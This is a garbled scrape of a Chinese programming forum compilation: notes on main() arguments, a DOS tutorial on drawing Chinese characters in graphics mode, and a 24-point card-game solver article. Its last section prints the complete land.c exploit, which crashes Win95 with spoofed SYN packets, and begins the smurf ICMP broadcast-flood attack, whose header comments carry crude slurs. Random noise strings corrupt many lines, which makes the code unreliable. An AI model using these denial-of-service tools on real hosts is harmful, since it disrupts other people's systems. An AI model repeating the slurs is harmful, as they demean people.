0 C% t  k) |, e: V( ~1 y% _* i　　* argc: 整数，为传给main()的命令行参数个数。
+ Q& _9 H6 ~/ y2 |7 W) j8 k# u6 g　　* argv: 字符串数组。
: _- p" r& W! C6 W  c- H& e/ }# Q在DOS 3.X 版本中，argv[0] 为程序运行的全路径名；
对DOS 3.0 以下的版本，argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串；argv[2] 为执行程序名后的第二个字符串；
...
argv[argc]为NULL。
　　*env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
2 j5 d6 h, N$ b$ R9 i/ v值如C:\DOS，C:\TURBOC(对于PATH) 或YES(对于87)。</P>

韩冰

< align=center><FONT color=#cc0000 size=5><B>
图形模式下的汉字显示</B></FONT></P><>　</P><>　我们在编写一些应用软件时，为了使软件更为通俗浅显、易学易用，具备汉字的用户界面是必不可少的条件。在文本模式下，只要有汉字操作系统的支持，显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习Ｃ语言！");}
: u- R0 U3 G$ X1 y　　在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究，并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持，但用到其中的字库文件。如ＵＣＤＯＳ的HZK16。
　　汉字显示的第一步是打开字库文件。
. e' C& J" W9 z  ?4 q　　函数： int OpenHz(const char *Hz16Path); 功能：打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后，就可以用下面介绍的函数显示16点阵的汉字。
2 C, C! ?) L! e3 Q8 x& b& b　　函数： int WrtHz16(int x,int y,int z,int color,char *p); 功能：在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
{
9 d: j/ E) N& n4 o5 B& ], K, T8 Gunsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
int rec,i1,i2,i3; /*z:space between;*/
( d' k6 x9 J4 F5 B, g1 }long l; /*color:txt color*/
char by[32]; /*p:HZ str*/
if( handle&lt;0 ) return -1; while((i=*p++)!=0){
0 k7 w8 D9 J* z' C0 K% S8 t+ zif(i&gt;0xa1)
" e, @. e$ a  X& a: p+ V0 {7 [$ ]if(f==0){
c1=(i-0xa1)&amp;0x07f;
f=1;
" [4 r$ j: Y6 o1 o8 _7 y}
) y1 Q+ p, _8 |! A- T2 G% b; ?else{
c2=(i-0xa1)&amp;0x07f;
f=0;
1 l% |% B0 F" o3 H& srec=c1*94+c2;
l=rec*32L;
lseek(handle,l,SEEK_SET);
5 F; ~: R7 B. s0 }% Z5 n& Tread(handle,by,32);
for(i1=0;i1&lt;16;i1++)
: B& N5 v/ k! y! J) X& f; hfor(i2=0;i2&lt;2;i2++)
for(i3=0;i3&lt;8;i3++)
; E, x- p7 C3 d$ T- Vif(GetBit(by[i1*2+i2],7-i3))
' {0 Z* I" i3 U- P" dputpixel(x+i2*8+i3,y+i1,color);
1 D  A; V' ~7 [  O) o- Xx=x+z+16;
}
  Q$ ^4 a" Y1 H& m0 Y% y}
return(x);
}
. a1 h7 S0 T5 m; t; O% M- W函数GetBit定义如下：
0 X1 l  q5 b& J; T7 P3 }/ i- u　　函数： int GetBit(unsigned char c,int n); 功能：取得汉字的点阵数据。
8 v+ Z; v' d6 V/ ]2 Eint GetBit(unsigned char c,int n)
{
) D! o. ~2 `$ l$ ?7 y  W" o6 E- _, vreturn((c&gt;&gt;n)&amp;1);
}
汉字显示结束，应该关闭字库文件。
void CloseHz(void)
{
1 O" R2 j+ _' j9 T+ O  wclose( handle );
}
#include "\Caic\Include\Hz.h"
7 H. m/ C% e! W  z#include <GRAPHICS.H>
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
const char* HzStr = "苦丁香Ｃ语言辅助学习软件";
( w, Y; t, H( Jvoid main(){
int gr=DETECT,gm;
initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
OpenHz( Hz16Path );
Wrt16Hz(20,20,4,RED,HzStr);
CloseHz();
9 Q1 d3 }6 Y' i' q, Wgetch();
$ b- Z8 e2 y- Cclosegraph();
/ \& S  x/ i$ D! H5 c& O# Y. Q  m% Y}显示２４点阵及放大汉字
　　下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如ＵＣＤＯＳ的HZK24S。
: g) a, i; q4 _; e函数： int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能：显示２４点阵及放大汉字。
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
6 n' I+ |) {" V{
unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置（x,y）*/
" e" z- C6 A- B. H% f" l/ `! Mlong l; /*color:汉字颜色*/
" O& ^9 o2 J& q6 A# n* u! zchar by[72]; /*m: x 方向的放大倍数*/
/*n: y 方向的放大倍数*/
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
* R% o6 |+ Q+ D3 H$ m5 oif(i&gt;0xa1)
- [% l4 [# \, p/ A/ Iif(f==0){
c1=(i-0xa1)&amp;0x7f;
f=1;
}
else{
c2=(i-0xa1)&amp;0x7f;
f=0;
4 Q- u0 T) R0 U1 a2 H" }7 |& v1 Prec=(c1-15)*94+c2;
6 X% s! R  k5 x1 E! nl=rec*72L;
1 b: g% M  j" ?3 xlseek(handle,l,SEEK_SET);
read(handle,by,72);
4 ~( J+ R# [8 i% V0 C7 ]for(i1=0;i1&lt;24*m;i1=i1+m)
for(i4=0;i4<M;I4++)
1 W: @: E  K" g/ C% ^ for(i2=0;i2&lt;=2;i2++)
& B9 c& ^% ?( n) Tfor(i3=0;i3&lt;8;i3++)
' {9 L+ p+ K8 }# g7 eif(GetBit(by[i1/m*3+i2],7-i3))
0 |7 K0 L7 \. w0 B. D, Jfor(i5=0;i5<N;I5++)
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
, m/ j/ ]0 M6 e2 sx=x+24*m+z;
: G- o) a* `4 ]: u. L' s$ w}
}
3 S0 n. M; C# P& P. F3 yreturn(x);
} 使用Wrt24Hz的例子：#include "\Caic\Include\Hz.h"
#include <GRAPHICS.H>
8 s7 \$ N( f2 B6 N+ ^! u#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
const char* HzStr = "苦丁香Ｃ语言辅助学习软件";
void main(){
1 q2 I1 Q- _# V( U3 j' z  u* Yint gr=DETECT,gm;
initgraph(&amp;gr,gm,"\\Caic\\Bgi");
OpenHz( Hz24Path );
4 O; ]4 Y8 {' p/ I% V8 X5 |Wrt24Hz(20,20, /*先是在（x,y）*/
/ k0 a' m* A" P* r8 O8 c3 }4, /*汉字间的空格为4*/
RED, /*用红色显示*/
2, /*x 方向放大２倍*/
2 u1 f) `# J. `* o. {9 Z* I4, /*y 方向放大４倍*/
HzStr); /*显示字符串*/
8 X0 W  ]2 ?% V7 gCloseHz();
getch();
/ g0 T! t8 I& g( u, U8 h$ eclosegraph();
}
- f4 F" l% h4 L" U! U4 C1 N. W0 b</P>

韩冰

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
7 q* y  p" ~( H2 `# D; f% {　　漫长的假期对于我来说总是枯燥无味的，闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单，就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目，这不，我们刚玩了一会儿，便遇到了一个难题——3、6、6、10（其实后来想想，这也不算是个太难的题，只是当时我们的脑筋都没有转弯而已，呵呵）。

　　问题既然出现了，我们当然要解决。冥思苦想之际，我的脑中掠过一丝念头——何不编个程序来解决这个问题呢？文曲星中不就有这样的程序吗？所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法，最先想到的自然是穷举法（后来发现我再也想不到更好的方法了，悲哀呀，呵呵），因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举，不就可以利用这个计算程序来完成这个计算二十四点的程序吗？确定了这个思路之后，我开始想这个问题的细节。
首先穷举的可行性问题。我把表达式如下分成三类——
& e* N+ d& i: Y% j" L9 z4 N3 |<FONT color=#ff0000>1、 无括号的简单表达式。
2、 有一个括号的简单表达式。
3、 有两个括号的较复4、 杂表达式。
# G* V' c" a$ G) K</FONT>穷举的开始我对给出的四个数进行排列，其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列，算法如下:
<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
/* c[] 存放四张牌的数组 */
/* k[] c[]种四张牌的代号，其中k[I]=I+1。
# A4 ?/ r' w8 m& Y7 Z; ~用它来代替c[]做处理，考虑到c[]中有可能出现相同数的情况 */
/* kans[] 暂存生成的排列组合 */
7 r& @9 |3 a2 d; A1 Z4 c* ?8 p, `) m/* j 嵌套循环的次数 */
int fans(c,k,ans,kans,j)
int j,k[],c[];char ans[],kans[];
8 `4 ]& s: k% M8 \( ?1 L8 D' X{ int i,p,q,r,h,flag,s[4],t[4][4];
for(p=0,q=0;p&lt;4;p++)
# k- p: l' d- Z1 l{ for(r=0,flag=0;r<J;R++)
$ Z$ J0 g; ~& f- i! N if(k[p]!=kans[r]) flag++;
if(flag==j) t[j][q++]=k[p];
}
7 c+ C  j. b' X/ }+ U6 Bfor(s[j]=0;s[j]&lt;4-j;s[j]++)
: o3 j  `  F+ A5 m$ A$ R1 m  }{ kans[j]=t[j][s[j]];
if(j==3) { for(h=0;h&lt;4;h++)
2 b5 n/ e4 w4 m! q% k3 D9 Bans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
达式中的位置 */
for(h=0;h&lt;3;h++)
symbol(ans,h); /* 在表达式中添加运算符号 */
}
9 v$ Q1 O% J, G5 |$ [% j; `else { j++;
7 c2 m& T6 J: Q' N& u& d) Vfans(c,k,ans,kans,j);
j--;
  Y  }$ y5 l6 }2 z8 w, D( m}
) I0 n, {* |9 X5 c4 \3 h+ Z}
}</FONT>

6 m! t+ [$ O$ S2 z- b0 E　　正如上面函数中提到的，在完成四张牌的排列之后，在表达式中添加运算符号。由于只有四张牌，所以只要添加三个运算符号就可以了。由于每一个运算符号可重复，所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举，算法如下:
& L( J: Z2 l$ l! t- }: k4 t
<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
$ {7 z! q$ m/ Jint sans(ans,sy,j,h)
* O; `" A- @1 X4 I$ \1 ^) _char ans[],sy[];int j,h;
{ int i,p,k[3],m,n; char ktans[20];
for(k[j]=0;k[j]&lt;4;k[j]++)
. i* r- G$ ~' ~, h) a{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
这里的三个运算符号分别存放在1、3、5位*/
if(j==2)
{ ans[5]=sy[k[j]];
5 V/ G* F6 H# V. X1 l7 e  m8 }- u/* 此处根据不同的表达式形式再进行相应的处理 */
}
% K. F$ i, t! K# Y. u9 p- Z' Belse { j++; sans(ans,sy,j--,h); }
" d* D; D. g5 x; T}
}
& G) [$ p9 D4 ^
</FONT>　　好了，接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类，是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种，无括号自然不用另行处理；而第二种情况由以下代码可以得出其可能性有六种，其中还有一种是多余的。
for(m=0;m&lt;=4;m+=2)
! E  v1 c" A; i9 |$ U: S6 ~for(n=m+4;n&lt;=8;n+=2)
　　这个for循环给出了添加一个括号的可能性的种数，其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0，n=8，也就是放在表达式的两端。这真是多此一举，呵呵！最后一种情况是添加两个括号，我分析了一下，发现只可能是这种形式才不会是重复的——（a b）(c d)。为什么不会出现嵌套括号的情况呢？因为如果是嵌套括号，那么外面的括号肯定是包含三个数字的（四个没有必要），也就是说这个括号里面包含了两个运算符号，而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的，则肯定可以通过一些转换去掉括号（你不妨举一些例子来试试），也就是说这一个括号没有必要；如果这两个运算符号不是同一优先级，也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高，自然就没有必要在它的外面添加括号了。
  S6 m, V) G7 J# o
$ Q' n$ Y7 A$ [2 @　　综上所述，所有可能的表达式的种数为24*64*（1+6+1）=12288种。哈哈，只有一万多种可能性（这其中还有重复），这对于电脑来说可是小case哟！所以，对于穷举的可行性分析和实现也就完成了。
# a" i  c. ]! E, x2 X3 K</P>< align=left>　　接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用，那么什么是栈呢？栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的，即最后存放入栈的货物（堆在靠出口处）先被提取出去，符合“先进后出，后进先出”的原则。这种结构犹如子弹夹。
+ i9 T& R$ {7 l6 r. F在栈中，元素的插入称为压入（push）或入栈，元素的删除称为弹出（pop）或退栈。
& B$ f/ ^/ Z& C2 x
! U8 f# e7 k9 \8 J; f　　栈的基本运算有三种，其中包括入栈运算、退栈运算以及读栈顶元素，这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。

4 `# ]7 M5 O  q# y2 ?1 k6 z　　那么作为栈的著名应用，表达式的计算可以有两种方法。

　　<FONT color=#ff0000>第一种方法——</FONT>
5 S. Z; c  c# x0 R; \　　首先建立两个栈，操作数栈OVS和运算符栈OPS。其中，操作数栈用来记忆表达式中的操作数，其栈顶指针为topv，初始时为空，即topv=0；运算符栈用来记忆表达式中的运算符，其栈顶指针为topp，初始时，栈中只有一个表达式结束符，即topp=1，且OPS（1）=‘；’。此处的‘；’即表达式结束符。
　　然后自左至右的扫描待处理的表达式，并假设当前扫描到的符号为W，根据不同的符号W做如下不同的处理：
0 m1 S) w9 ?. `, H# F' C4 y; C1、 若W为操作数
2、 则将W压入操作数栈OVS
/ E2 z* L5 R* l+ F0 t3、 且继续扫描下一个字符
. ~! b$ g/ S' t; g6 D, m4、 若W为运算符
" t  R+ ^; F2 e) s+ |5、 则根据运算符的性质做相应的处理：
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS，并继续扫描下一个字符。
(2)、若运算符W为表达式结束符‘；’且运算符栈栈顶的运算符也为表达式结束符（即OPS(topp)=’;’），则处理过程结束，此时，操作数栈栈顶元素（即OVS（topv））即为表达式的值。
3 m/ O" b- [) ^(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号（即OPS（topp）=’(‘)，则将左括号从运算符栈谈出，且继续扫描下一个符号。
(4)、若运算符的右不大于运算符栈栈顶的运算符（即OPS(topp)），则从操作数栈OVS中弹出两个操作数，设先后弹出的操作数为a、b，再从运算符栈OPS中弹出一个运算符，设为+，然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。
* M8 A" u' L5 ^
+ c; t: Q; S4 f<FONT color=#ff0000>　　第二种方法——</FONT>
3 S9 @% m" t$ B! [' O3 v# \　　首先对表达式进行线性化，然后将线性表达式转换成机器指令序列以便进行求值。
+ j% s( e& n) }5 Y: s
　　那么什么是表达式的线性化呢？人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式，有时必须借助括号才能将运算顺序表达清楚，而且处理也比较复杂。

& d6 Z6 f) u, K8 v　　 1929年，波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系，后来人们称之为波兰表示法（Polish notation）。波兰表达式的特点是运算符位于运算对象的后面，因此称为后缀表示。在对波兰表达式进行运算，严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
; U4 [( {6 z% z5 \" v' Y8 F: a表达式 波兰表达式
A-B AB-
（A-B）*C+D AB-C*D+
2 P- v  i5 i- ?1 LA*（B+C/D）-E*F ABCD/+*EF*-
（B+C）/（A-D） BC+AD-/

3 v; c2 S" r7 p7 \* S　　OK，所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式，利用栈可以把表达式变换成波兰表达式，也可以利用栈来计算波兰表达式的值。
% _4 G8 Q# b5 `) @4 q/ m, z
　　至于转换和计算的过程和第一种方法大同小异，这里就不再赘述了。

　　下面给出转换和计算的具体实现程序——

<FONT color=#009900>/* first函数给出各个运算符的优先级，其中=为表达式结束符 */
int first(char c)
1 ^2 \* p7 m0 R3 A" y- Y{ int p;
switch(c)
{ case '*': p=2; break;
case '/': p=2; break;
. e% C! ~/ ~1 E( \case '+': p=1; break;
case '-': p=1; break;
/ K) ~' Q+ h' vcase '(': p=0; break;
8 |) g) e! ~; Ecase '=': p=-1; break;
" G) Y0 b+ J* \7 P}
return(p);
}
: k6 U: w' G0 ]1 m( c/ q/* 此函数实现中缀到后缀的转换 */
6 X8 V' t* c' T( T% S; q/* M的值宏定义为20 */
+ V4 q1 y, V* o% p( Q/* sp[]为表达式数组 */
int mid_last()
{ int i=0,j=0; char c,sm[M];
4 K" y" O& m6 B5 |7 ~c=s[0]; sm[0]='='; top=0;
4 W6 y! ?* o  m$ Owhile(c!='\0')
{ if(islower(c)) sp[j++]=c;
. I) {2 Y. A. }$ s0 nelse switch(c)
{ case '+':
3 u) d7 A8 C$ M6 xcase '-':
case '*':
case '/': while(first(c)&lt;=first(sm[top]))
sp[j++]=sm[top--];
sm[++top]=c; break;
( ]# K- C- n, g, [case '(': sm[++top]=c; break;
% Y  J3 C' L+ S; r- j( |case ')': while(sm[top]!='(')
$ D$ {7 o' {" |/ dsp[j++]=sm[top--];
top--; break;
! A3 ?8 r% B2 @default :return(1);
; C: i  J& E6 w}
c=s[++i];
& |' T" r3 M* }% D( w}
4 v% e7 f7 w- P: ]: W5 u1 fwhile(top&gt;0) sp[j++]=sm[top--];
( o9 Q6 p$ [: d8 a& zsp[j]='\0'; return(0);
3 s' q  k/ V, o# X" g" k& V}
- ?4 Y6 O( E- S) L( @4 f/* 由后缀表达式来计算表达式的值 */
) H& ~# J: W. ~1 V& R  h/ I# `int calc()
{ int i=0,sm[M],tr; char c;
c=sp[0]; top=-1;
while(c!='\0')
{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数，
4 \" K4 D0 M1 U( V5 a这样才可以更方便的处理非一位数，
& ~9 W; R, O5 S0 K- G. ]ver数组中存放着这些字母所代替的数*/
( W/ D' e3 d# K" t( A) T6 O, v( a! uelse switch(c)
! }8 U0 w6 X2 v$ w0 w  p{ case '+': tr=sm[top--]; sm[top]+=tr; break;
case '-': tr=sm[top--]; sm[top]-=tr; break;
3 r- ]6 K' n3 g; g: g4 rcase '*': tr=sm[top--]; sm[top]*=tr; break;
case '/': tr=sm[top--];sm[top]/=tr;break;
! b/ `" T- x; `default : return(1);
, ^1 q! i- S, i( B}
. h4 G5 k9 ~, D/ u8 ]! e+ Mc=sp[++i];
}
% B# |$ \& w7 U- y& {& P$ Cif(top&gt;0) return(1);
# K. o: j/ C9 P1 s+ S! k0 ^3 Helse { result=sm[top]; return(0); }
}
</FONT>
  q) k; Y0 V7 `. h* W5 T　　这样这个程序基本上就算解决了，回过头来拿这个程序来算一算文章开始的那个问题。哈哈，算出来了，原来如此简单——（6-3）*10-6=24。

4 k8 Q& g7 j) C5 M7 \) e& h& A$ v　　最后我总结了一下这其中容易出错的地方——

　　1、 排列的时候由于一个数只能出现一次， 所以必然有一个判断语句。但是用什么来判断，用大小显然不行，因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号，在排列结束时，通过这个代号找到这个数。

8 W- t; S7 q7 x7 j. s  k　　2、在应用嵌套函数时，需仔细分析程序的执行过程，并对个别变量进行适当的调整（如j的值）,程序才能正确的执行。
6 E( q2 K6 D9 x9 z/ E7 L) X( F
  I8 U) U( X9 H3 o! H# B　　3、在分析括号问题的时候要认真仔细，不要错过任何一个可能的机会，也要尽量使程序变得简单一些。不过我的分析可能也有问题，还请高手指点。

: Q1 E3 Q" \+ |* x+ {　　4、在用函数对一个数组进行处理的时候，一定要注意如果这个数组还需要再应用，就必须将它先保存起来，否则会出错，而且是很严重的错误。

　　5、在处理用户输入的表达式时，由于一个十位数或者更高位数是被分解成各位数存放在数组中，所以需对它们进行处理，将它们转化成实际的整型变量。另外，在转化过程中，用一个字母来代替这个数，并将这个数存在一个数组中，且它在数组中的位置和代替它的这个字母有一定的联系，这样才能取回这个数。

$ v3 ~4 M% v" f　　6、由于在穷举过程难免会出现计算过程中有除以0的计算，所以我们必须对calc函数种对于除的运算加以处理，否则程序会因为出错而退出（Divide by 0）。
$ D0 M6 k0 J6 m1 T
　　7、最后一个问题，本程序尚未解决。对于一些比较著名的题目，本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数，而本程序并没有考虑到小数。
6 d9 [) o7 R% A* x</P>

韩冰

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
8 U" s+ u- L& S9 [3 n0 x( U这里有一些是老的，现在看来并没有用，但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞，以其IP地址和端口向自
! F9 m( R. a* |& |4 f9 _. T  w" K己的同一个端口发起连接（发SYN），Win95即会崩溃。</P><>
/ r" o' V- K" A* c: W& b# X<FONT color=#009900>/* land.c by m3lt, FLC
crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
& `7 x5 f# J% X% O( s1 k#include <NETDB.H>
#include <ARPA inet.h>
#include <NETINET in.h>
#include <SYS types.h>
#include <SYS socket.h>
#include <NETINET ip.h>
5 S) A3 Q  j2 _; H* n/ I0 c#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
6 i1 @7 S& @* Y1 [9 f% y1 cstruct pseudohdr
{
* }  q" a; D9 B- [$ D6 P0 U, Ustruct in_addr saddr;
struct in_addr daddr;
u_char zero;
! p& M+ w- Y0 {9 G4 E( Ju_char protocol;
u_short length;
struct tcphdr tcpheader;
- A) ?& ~' P* e};</FONT></P><><FONT color=#009900>//计算IP校验和
u_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
}</FONT></P><><FONT color=#009900>
& M/ O$ J( m0 H$ g8 bint main(int argc,char * * argv)
! ]- G1 W- i$ K, d8 C7 k{
" ^; m. p$ L# Vstruct sockaddr_in sin;
7 E7 O5 K* T0 g) {  o) kstruct hostent * hoste;
int sock;
% Z" [: W( b+ M: hchar buffer[40];
2 G! L9 h. f  e2 s# i  pstruct iphdr * ipheader=(struct iphdr *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
( Z5 {2 t0 F, }1 m* k$ x+ m$ ^0 lstruct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)
{
% M; g) \' ?* n0 b/ tfprintf(stderr,"usage: %s IP port\n",argv[0]);
4 q5 O) U8 X1 N5 p1 p5 n4 s! vreturn(-1);
7 m, w! n3 _7 z  `1 D) a& k/ n}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
" c" c- a) C8 C. C6 U# x' S& xsin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
2 P* w8 |* f4 i/ |% B' i' W, F2 Oelse if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
6 k2 _, [7 z3 z+ ?2 j; q: C# B+ @{
fprintf(stderr,"unknown host %s\n",argv[1]);
+ w" w2 g% e: ?& r5 Breturn(-1);
}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(stderr,"unknown port %s\n",argv[2]);
return(-1);
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
* g: C$ b* O1 w- W{
fprintf(stderr,"couldn't allocate raw socket\n");
) S, |, R, Y9 b8 S6 }" q5 Wreturn(-1);
6 w/ v% o; I( D}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
* }! i8 q0 L3 vipheader-&gt;version=4;
* P0 o- o/ P. C$ A8 K: Tipheader-&gt;ihl=sizeof(struct iphdr)/4;
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader-&gt;id=htons(0xF1C);
, q+ N( @% ]5 |/ nipheader-&gt;ttl=255;
ipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
0 f' Q% ~' c; H* uipheader-&gt;saddr=sin.sin_addr.s_addr;
ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
tcpheader-&gt;th_sport=sin.sin_port;
1 C+ c8 K6 J2 |+ itcpheader-&gt;th_dport=sin.sin_port;
# R7 c5 a9 |$ ]. Z5 V3 [2 C( Atcpheader-&gt;th_seq=htonl(0xF1C);
tcpheader-&gt;th_flags=TH_SYN;
' z4 z2 }* Z  z; {2 g$ l. W5 [( ttcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
: y) }; s: q( f, qpseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
5 m$ Y! `3 C. X4 l; \pseudoheader.length=htons(sizeof(struct tcphdr));
! H" j$ T  W7 f1 Jbcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
{
fprintf(stderr,"couldn't send packet\n");
7 O6 b# k5 |; Y5 W& D/ D. b2 Breturn(-1);
/ v  m, y  d9 L/ H1 D. a}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
  x% F( x5 p" q8 X: |, K6 Freturn(0);
}</FONT></P><>
. P$ S1 w+ a8 ~1 Y( r2 ^) \9 e2 Smurf
smurf攻击是很简单的，它有一些IP（广播地址）地址列表，发出了一些伪造的数
据包（ICMP echo request）从而导致一场广播风暴，可以使受害主机（使它成为伪造包
的源地址）崩溃。</P><>受害者有两种：中间的设备（bounce sites 交换机或路由器）和被伪装的IP（那些
icmp echo的包都被发给它）。这种攻击依赖于路由器把一个广播地址转化为一广播桢
) V2 z4 Y# O9 s7 T: }（如Ethernet, FF:FF:FF:FF:FF:FF），RFC中允许这种转换，但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播（IP）到第二层的广播（Ethernet）。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在，但在路由器的上述配置会使这变
成不可能（没有WINS服务器时）。</P><P>/*
' v9 t8 H# h$ I0 m) q& t3 p*
4 z# M! p7 K3 n& w* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
2 v8 v  W. e: }5 Y& @0 u*
) d9 I+ g$ c1 N* spoofs icmp packets from a host to various broadcast addresses resulting
. B8 _6 W/ a" \. i( ~( l+ m* in multiple replies to that host from a single packet.
*
1 t$ G0 `  }) Y) F2 l/ Y* mad head t
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
* MissSatan for swallowing, napster for pimping my sister, the guy that
* invented vaseline, fyber for trying, knowy, old school #havok, kain
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
* have missed (you know who you are).
*
' ?: ?6 |# ?& i1 o2 h3 Z* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
, U  B+ o5 V0 N# R* thing he is (he's -almost- as stubborn as me, still i managed to pick up
  `* m& R8 T1 J* P8 `+ q* half the cheque).
; c3 T. H! p# {* X5 L6 ^4 Q*
, \+ C; J# e& f) I: f* and a special hi to Todd, face it dude, you're fucking awesome.
*
* mad anal t
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
) [* }$ Z1 F/ m. s6 S4 a1 y* because they plain suck, Rolex for being a twit, everyone that
* trades warez, Caren for being a lesbian hoe, AcidKill for being her
2 i' e1 k$ Y9 |2 v* partner, #cha0s, sedriss for having an ego in inverse proportion to
. @* [  |% s. D: X2 S2 w" [7 ]$ o* his penis and anyone that can't pee standing up -- you don't know what
. b' i4 C& ~. a5 ]+ d* C* your missing out on.
*
. E$ F9 w- l/ l+ L# y0 s) v5 @* and anyone thats ripped my code (diff smurf.c axcast.c is rather
' z6 @) ]/ t% g+ I2 D5 h& ?* interesting).
